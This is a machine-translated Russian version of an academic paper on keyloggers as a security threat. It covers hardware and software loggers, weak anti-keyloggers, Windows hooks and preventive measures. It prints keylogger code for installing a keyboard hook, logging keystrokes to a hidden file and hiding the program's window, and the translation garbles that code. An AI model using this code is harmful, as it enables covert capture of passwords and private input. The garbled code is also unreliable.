This is a machine translation. The original page (in English) is available here.
Окна
Мак ОС
Мобильный

Последние новости: 12 ноября 2016 - мы нашли новый обнаружить клавиатурных шпионов для вас. RSS-канал

Главная>статьи>Кейлоггеров: упустили из виду угрозу компьютерной безопасности

AnyKeylogger для Mac

Кейлоггеры: упустили из виду угрозу компьютерной безопасности

Кишор Subramanyam, Чарльз Э. Франк, Дональд Ф. Галли

Кишор Subramanyam, Чарльз Э. Фрэнк, Дональд Х. Галли
Кафедра математики и информатики
Университет Северного Кентукки
Хайленд Хайтс, Кентукки 41099
{subramanyamk, Фрэнк, [email protected]

Аннотация

Кейлоггеры аппаратных средств или программного обеспечения, которое записывает нажатия клавиш. Они представляют собой серьезную угрозу для конфиденциальности пользователей компьютеров. Мы установили и протестировали различные кейлоггеры и исследованными код кейлоггер. Кроме того, мы рассмотрели то, что известно о кейлоггеры, в основном из интернет-источников. В статье дается анализ механизмов кейлоггеров и почему обнаружение трудно. Мы предлагаем несколько рекомендаций о мерах компьютерные пользователи должны принять.

1. Введение

Создает запись всех действий пользователя компьютера. Они продаются для контроля использования компьютера детьми или поймать обман супруга. Они используются для кражи кредитных карт и номера банковских счетов, имена пользователей и пароли. Они также используются для наблюдения за сотрудниками.

Кейлоггеры могут быть установлены, получив физический доступ к компьютеру или загруженных программ. Их небольшие размеры в плане памяти и процессора делает их практически неуловимыми. Кейлоггеры можете по электронной почте или FTP файл, содержащий клавиш обратно в шпионаже человека.

Кейлоггеры не получают такого же внимания, как вирусы и черви. Стандартные ссылки на вирусы, черви и троянские кони [4] посвящает один абзац, чтобы уйти. Среди компьютерных книг безопасности, [2] едва упоминает клавиатурных шпионов и [1] и [9] не упоминайте их вообще.

Два недавних случая подчеркнуть опасность, исходящую от кейлоггеров. В феврале 2003 года, Дэвид Будро, Бостонский студент колледжа, был обвинен в установке кейлоггеров на более чем 100 компьютеров университета [10]. Он использовал информацию о преподаватели, студенты и сотрудники, чтобы украсть 2,000$. В июле 2003 года, Жужу Цзян признал себя виновным в установке кейлоггеров в двадцати магазинах "Кинко" в Нью-Йорке [7]. Он удаленно захваченные нажатия клавиш и кражи имен пользователей и паролей в течение двух лет, прежде чем он был пойман.

2. АППАРАТНЫЕ КЕЙЛОГГЕРЫ

Аппаратные кейлоггеры бывают нескольких форм и форм. Они могут быть внешние крепления между клавиатурой и портом. Это кусок кабеля с небольшой цилиндр в цветах, чтобы соответствовать кабель клавиатуры. Они берут меньше минуты, чтобы установить. Так как они располагаются на задней части компьютера, их трудно обнаружить. Кроме того, аппаратных кейлоггеров может быть устройством, находящимся внутри блока рядом с порт клавиатуры или внутри самой клавиатуры. Эти устройства физически невидимы для пользователя компьютера.

Многие продавцы продают аппаратных кейлоггеров. Мы протестировали KeyGhost 99 $СТД с 512КБ Flash-памяти [5]. Вопреки нашим ожиданиям, не удалось обнаружить в KeyGhost прикреплены между клавиатурой и портом ввода/вывода как новое устройство не отображается в списке устройств.

3. ПРОГРАММНЫЕ КЕЙЛОГГЕРЫ

Разнообразные кейлоггеры можно найти с помощью функции поиска для "кейлоггер" через поисковик. Программные кейлоггеры также можно скачать бесплатно с любого форума кейлоггер [3]. Для этого проекта мы старались как коммерческих, так и бесплатных программ кейлоггеров.

Кейлоггер программное обеспечение может быть установлено на компьютере с правами администратора. Они приходят в различных формах. Кейлоггер может быть исполняемый файл, написанный в Visual Основные. Это может быть драйвер устройства, который заменяет существующий драйвере ввода-вывода со встроенными ключевые функции ведения журнала. Чаще всего, как обычно пишутся на C/C++ с использованием Крючки для Windows.

Мы протестировали Рейтауне, Призрак, Amecisco, KmInt21 программные кейлоггеры. Каждый из них работал по-разному, но конечный результат был тот же. Они записываются нажатия клавиш и щелчки мышью и пишет их в файл. Они имели возможность шифрования и дешифрования файлов журнала и возможность отправки файла адресату через Интернет.

Никто из них не появился в диспетчере задач или в списке процессов. Файлы журнала кейлоггеров были скрыты. Эти файлы журналов было трудно отличить от файлов операционной системы, даже если
делаю каталог перечень скрытых файлов.

4. АНТИ-КЕЙЛОГГЕРЫ

Анти-кейлоггер программное обеспечение, которое направлено на то, чтобы обнаруживать кейлоггеры. Мы установили и протестировали Рейтауне и Spydex анти-кейлоггеры. Анти-кейлоггеры не обнаруживают каких-либо программ-шпионов или KeyGhost аппаратный кейлоггер. Единственным исключением был Рэйтаун анти-кейлоггер обнаруживается своя Рэйтаун кейлоггер. Причина в том, что есть много способов для рекламы, чтобы работать и скрываться.

Интернет-дискуссионных групп [3] обратите внимание, что анти-кейлоггеров, которые обнаруживают многие кейлоггер имеют очень высокий уровень ложных срабатываний. Эти анти-клавиатурных шпионов монитор программ, используя крючки Windows и крючки используются многие функции.

5. КРЮЧКИ ДЛЯ WINDOWS

Для Windows крючка [3, 8] является ядром многих клавиатурных шпионов. Крючок-это точка в системе обработки Сообщений механизм, где приложение может установить процедуры для перехвата Сообщений, прежде чем он достигнет целевой оконной процедуры. Процедура подключения имеет следующий прототип.

LRESULT обратного вызова метода hookproc( 
Тип int nCode, // определяет действие, которое будет выполнено
Параметр wparam параметр wparam, параметр // в зависимости от nCode
Параметр lparam lparam должен параметр // в зависимости от nCode
);


А крюк цепи - это список указателей на крюк процедур. Когда возникает сообщение что связано с определенным типом крюка, система передает сообщение к каждой процедуре крючка, на которые ссылается в цепи крюк, один за другим.

Процедура подключения может контролировать или изменять сообщение, проходя через цепочку крючком. Это может также предотвратить сообщение от достижения следующей процедуре крюк или целевой оконной процедуры.

В SetWindowsHookEx устанавливает функции определяется приложением крюка процедуры в начале крюк цепи. Она имеет следующий прототип функции:

HHOOK SetWindowsHookEx(
инт idHook, // определяет тип крюк
Метода hookproc lpfn, // указатель на процедуру крюк
HMod HINSTANCE, // указатель на dll, содержащую процедуру крюк
Типа DWORD dwThreadId // идентификатор связанного потока
);


Мы изучили исходный код нескольких клавиатурных шпионов, нашел в [6]. Если человек учится использовать крючки с электроприводом, кейлоггеров не трудно написать. Они не требуют много кода.

Вот InstallHook функция от кейлоггеров. Он связывает лог-файл и установит клавиатуру лесозаготовки процедура KeyboardProc в крюк цепи путем вызова SetWindowsHookEx.

БООЛ по WinAPI InstallHook(БООЛ перезаписать)
{
если(перезаписи) // перезаписывает файл журнала?
{
SetFileAttributes((LPCTSTR)именем,
FILE_ATTRIBUTE_ARCHIVE);
Ф1 = с помощью функции fopen(имя_файла, "Вт");
функции fclose(Ф1);
}
// установить скрытое свойство для файла журнала
SetFileAttributes((LPCTSTR)именем,
FILE_ATTRIBUTE_HIDDEN|
FILE_ATTRIBUTE_SYSTEM);
// вызов выиграть API, чтобы установить крюк
hkb = SetWindowsHookEx(WH_KEYBOARD,
(Метода hookproc)KeyboardProc,hInstance,0);
возвратите True;
}


6. НА WH_KEYBOARD КРЮЧОК

Из пятнадцати различных типов Хук WH_KEYBOARD и WH_MOUSE важны для написания кейлоггера. Мы описываем WH_KEYBOARD Тип крючка. В WH_KEYBOARD крючок позволяет приложение для мониторинга трафика сообщений для WM_KEYDOWN и WM_KEYUP сообщения, которые должны быть возвращены функции getmessage или PeekMessage функции. Этот крючок можно использовать для отслеживания ввода с клавиатуры, размещенной в очередь сообщений через KeyboardProc крюк процедура. Операционная система вызывает эту процедуру всякий раз, когда приложение вызывает функции getmessage или PeekMessage функция и есть клавиатура сообщения (WM_KEYUP или WM_KEYDOWN), чтобы быть обработанным. Она имеет следующий прототип функции:

LRESULT callback по KeyboardProc(
код int, // определяет, как обрабатывать сообщение
Параметр wparam параметр wparam, // виртуальный-ключевой код генерации ключа сообщение
Параметр lparam lparam должен // повторов, код сканирования, расширенный ключ флаг,
// код контекста, предыдущего ключа-государственный флаг
// и переход-государственный флаг
);


Вот код KeyboardProc от кейлоггеров. Он открывает файл журнала и пишет персонаж. При необходимости, он называет ToAscii функция перевести на указанный виртуальный код клавиши клавиатуры в соответствующий символ или символы.

LRESULT стек обратного вызова KeyboardProc(
Тип int nCode, параметр wparam параметр wparam,
Параметр lparam lparam должен)
{
голец ч;
locname типа char[80];
и strcpy(locname,именем);
если (((типа DWORD)параметр lparam & 0x40000000
&&(HC_ACTION==nCode))
{
если((параметр wparam==VK_SPACE)||
(параметр wparam==VK_RETURN)||
(параметр wparam>=с 0x2f ) &&
(параметр wparam<=0x100))
{
Ф1=с помощью функции fopen(locname,"а+");
если (параметр wparam==VK_RETURN)
{
ч='\п';
// характера скопировать в файл журнала
fwrite(&ч,1,1,Ф1);
}
еще
{
// массив получает данные о состоянии для каждой виртуальной клавиши
Байт КС[256];
GetKeyboardState(КС);
Слово W;
Uint с сканирования;
сканирование=0;
ToAscii(параметр wparam,сканирование,
КС и ш,0);
ч =чаре(Вт);
// характера скопировать в файл журнала
fwrite(&ч,1,1,Ф1);
}
функции fclose(Ф1);
}
}
LRESULT Ратавалі = CallNextHookEx(
hkb, nCode, параметр wparam, lparam должен );
возвращение Ратавалі;
}


Когда происходит событие, которое контролируется определенным типом крюка, Операционная система вызывает процедуру в начале цепи крюк. Каждая процедура крючок в цепочке определяет, следует ли передать событие к следующей процедуре. Крюк процедура проходит мероприятие в следующем порядке путем вызова CallNextHookEx функции.

7. СКРЫВАЯ КЕЙЛОГГЕР

Есть много способов, чтобы скрыть запущенный кейлоггер не отображалась в диспетчере задач или в списке процессоров. Вот один способ, чтобы скрыть это, открыв скрытое окно на запуск и настройку необходимых параметров.

WNDCLASSEX wincl;
wincl.hInstance = hInstance;
wincl.lpszClassName = имя;
wincl.lpfnWndProc = wndproc, который;
// Принять все свойства окна нулю.
// Это позволит сделать окно невидимым.
wincl.стиль = 0;
wincl.cbSize = оператор sizeof(WNDCLASSEX);
wincl.hIcon = нуль;
wincl.hIconSm = NULL;в
wincl.hCursor = нуль;
wincl.lpszMenuName = NULL;в
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = 0;
wincl.lpszMenuName = NULL;в
если(!RegisterClassEx(&wincl)) возвращает 0;
// Сделать все параметры дисплея
// (электронные.г высота и ширина) ноль.
// Это сделает его невидимым из панели задач
его hwnd = CreateWindowEx(0,(LPCTSTR)имя,"",
0,0,0,0,0,HWND_DESKTOP,NULL,ТО
hInstance,значение NULL);
Функции showwindow(его hwnd,SW_HIDE);


8. ПРОФИЛАКТИЧЕСКИЕ МЕРЫ

Мы обнаружили, что кейлоггеры практически невозможно отследить после установки. Однако, существует несколько профилактических мер, которые могут быть приняты.
1. Большинство пользователей Windows должны иметь ограниченные привилегии, сделав их частью группы пользователей.
2. Группа Администраторов должна иметь очень мало лиц, и они должны иметь сильную политику пароля.
3. Никто никогда не должен подключаться к сети или даже внутренней сети при входе в систему в качестве администратора. Это дает прослушиванию сети карт-бланш доступ к машине и возможность удаленной установки программного обеспечения.
4. Клавиатуры компьютера порт должен быть проверен, чтобы увидеть, если аппаратный кейлоггер прилагается.

9. Заключение

Кейлоггеры просто написать и прост в установке. Они легко приобретены в Интернете [3, 6] или можно приобрести по скромной цене. Анти-кейлоггеры являются неэффективными. Лучшее, что можно сделать, чтобы предотвратить ключ регистрации, это использовать лучшие практики безопасности и выполнять физические проверки аппаратных кейлоггеров.

10. Ссылки

[1] Коул, Эрик, Хакеры Будьте Осторожны, Новые Гонщики Издание, 2002.

[2] Гарфинкель, С. Спаффорд, г. Шварц, А., практическое ОС Unix и Интернет безопасность, O'Reilly & Сподвижницы, 3-е издание, 2003.

[3] в Google группы, http://www.google.com/groups

[4] Граймс, Роджер А., вредоносного мобильного кода, О'Райли и Партнеры, 2001, (стр. 190).

[5] Keyghost, http://www.keyghost.com

[6] Кейлоггер исходный код, http://www.planetsourcecode.com

[7] ""Кинко" шпионского дела, подчеркивает опасность общественных Интернет-терминалов",
http://www.siliconvalley.com/mld/siliconvalley/news/6359407.htm

[8] сеть разработчиков Microsoft, http://msdn.Microsoft.com

[9] Pfleeger, С. и Pfleeger, С.Безопасности в вычислительной технике, 3-й выпуск, Прентис-Холл, 2003.

[10] "студент заряжается после колледжа компьютеров взломан", http://www.xatrix.org/article2641.html
Прочитать полный текст статьи
Главная>статьи>Кейлоггеров: упустили из виду угрозу компьютерной безопасности
Важно! Установка средств мониторинга компьютеров Вы не владеете или не имеете разрешения для монитора может нарушить местным, государственным или Федеральным законом.
Предложить перевод